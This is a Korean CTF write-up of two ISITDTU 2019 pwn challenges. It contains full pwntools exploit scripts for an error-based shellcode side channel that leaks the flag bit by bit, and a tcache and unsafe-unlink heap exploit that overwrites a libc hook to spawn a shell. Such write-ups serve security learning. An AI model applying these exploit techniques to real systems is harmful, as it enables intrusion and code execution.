ISITDTU CTF 2019 Write up
ISITDTU CTF
ISITDTU CTF Quals에서 4등해서 본선 진출권을 획득했다.
그 김에 라업을 써야겠다.
내가 대회에서 푼 거 + 풀었는데, 이미 팀원이 푼 거
BabyShellcode
void __fastcall main()
{
unsigned __int8 *dest; // [rsp+0h] [rbp-10h]
dest = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( dest == -1LL )
{
perror("Could not mmap");
}
else
{
set_buf();
memcpy(dest, &unk_202020, 0x27uLL);
read_buf(dest + 39, 0x46u);
seccomptools();
(dest)(dest + 39, 0x46LL);
}
}
메인 함수가 이렇게 작성 돼 있는데, 내가 적은 0x46 바이트의 쉘코드를 실행시켜준다.
근데 이전에 모든 레지스터를 초기화해준다.
그리고 init_array
부분을 보면 0xcafe000
부분에 플래그를 담고 /dev/urandom
에서 뽑아온 값을 8바이트씩 xor하는 쉘코드를 실행시켜준다.
그런데 딱 플래그 포맷 ISITDTU{
가 8바이트라서 urandom 값을 가져올 수 있다.
그 점과 Error based shellcode
를 이용해서 flag를 1비트씩 뽑아오면 된다.
solve.py
from pwn import *
import time
# urandom : 0xcafe050
# flag : 0xcafe000
flag = 'ISITDTU{'
context(arch='amd64')
for i in range(8, 0x30):
word = ''
for j in range(7, -1, -1):
shellcode = '''
go:
mov rax, 0xcafe000
what:
mov rax, [rax]
mov rbx, 0x7b55544454495349
xor rax, rbx
mov r9, rax ; r9 == urandom
shr r9, %d
mov rax, 0x%x ; rax == flag
mov rax, [rax]
xor rax, r9
and rax, 0xff
mov rdi, rax
shr rdi, %d
and rdi, 1
test rdi, rdi
jnz what
jmp go
''' % ((i % 8) * 8, 0xcafe000 + i, j)
p = remote('209.97.162.170', 2222)
#p = process('./babyshellcode')
print len(asm(shellcode))
#pause()
p.sendline(asm(shellcode))
try:
res = p.recvuntil('Seg', timeout=3)
if 'Seg' in res:
word += '1'
print word
p.close()
else:
word += '0'
print word
p.close()
except:
p.close()
flag += chr(int(word, 2))
print flag
FLAG : ISITDTU{y0ur_sh3llc0d3_Sk!LL_s0_g00000d}
iz_heap_lv2
이번 시텝 이지 힙류는 닉값했다.
ㄹㅇ 쉬운 문제였다.
환경은 18.04였고, 그냥 평범한 힙 문제처럼 메뉴에서 add, delete, view, edit메뉴 실행할 수 있다.
delete
void __cdecl delete()
{
int v0; // [rsp+Ch] [rbp-4h]
printf("Enter index: ");
v0 = read_int();
if ( v0 < 0 && v0 > 19 )
{
puts("Invalid index!");
exit(0);
}
if ( !heap_arr[v0] )
{
puts("Not found!");
exit(0);
}
free(heap_arr[v0]);
heap_arr[v0] = 0LL;
size_arr[v0] = -1LL;
}
read_buf
void __cdecl read_buf(char *a1, int a2)
{
read(0, a1, a2);
if ( a2 )
a1[a2] = 0;
}
이 두 곳에서 취약점이 발생한다.
delete함수에서는 free된 힙을 초기화해주지 않는 취약점이 발생함.
read_buf함수에서는 buf[size]를 NULL로 만들어줘서 next chunk의 첫 바이트를 NULL로 만들어줄 수 있다.
마침 힙 주소도 bss에 저장되니 이 두 취약점을 잘 엮어서 unsafe unlink
로 exploit하면 된다.
solve.py
from pwn import *
e = ELF('./iz_heap_lv2')
#p = process(e.path, env={'LD_PRELOAD':'./libc.so.6'})
#p = remote('165.22.110.249', 4444)
p = remote('165.22.110.249', 4444)
sla = p.sendlineafter
sa = p.sendafter
def add(size, buf):
sla('Choice: ', '1')
sla('size: ', str(size))
sa('Enter data: ', buf)
def edit(idx, buf):
sla('Choice: ', '2')
sla('index: ', str(idx))
sa('data: ', buf)
def free(idx):
sla('Choice: ', '3')
sla('index: ', str(idx))
def show(idx):
sla('Choice: ', '4')
sla('index: ', str(idx))
for i in range(8):
add(0xf0, 'ipwn')
#0 ~ 7 index
add(0xf0, 'ipwn') #8
for i in range(8):
free(i)
for i in range(7): #6
add(0xf0, 'ipwn')
add(0xf0, 'A'*8) #7
show(7)
p.recvuntil('Data: ')
libc_base = u64((p.recvuntil('\n')[-7:])[:-1] + '\x00\x00') - 0x3ebca0
system = libc_base + 0x4f440
target = libc_base + 0x3ed8e8
unlink_target = 0x602088
log.info('libc_base : 0x%x'%libc_base)
fake_chunk = p64(0)*2
fake_chunk += p64(unlink_target - 0x18)
fake_chunk += p64(unlink_target - 0x10)
add(0xf8, fake_chunk.ljust(0xf0, '\x00') + p64(0xf0)) # 9
add(0xf0, 'ipwn') # 10
free(9)
add(0xf8, fake_chunk.ljust(0xf0, '\x00') + p64(0xf0)) #10
for i in range(8):
free(i)
free(10)
edit(9, p64(0)*3 + p64(target))
edit(9, p64(system))
add(0x10, '/bin/sh') #0
free(0)
p.interactive()
FLAG : ISITDTU{TcAch3_C4ch3_F1LL1Ng_UnL1NKKKKKK_1Z_h34P_LvTw0}
후기
나머지도 이것저것 도와주고 같이 풀고 했지만 솔버를 손으로 짠 건 이거 두 개 뿐이라서 이것만 씀.
아 prison은 ICMP터널로 쏘고 머 하는 거라던데, 걍 Error based shellcoding으로 풀 수 있다.
나머지는 기억이 안남.
재밌었던 시텝이었다.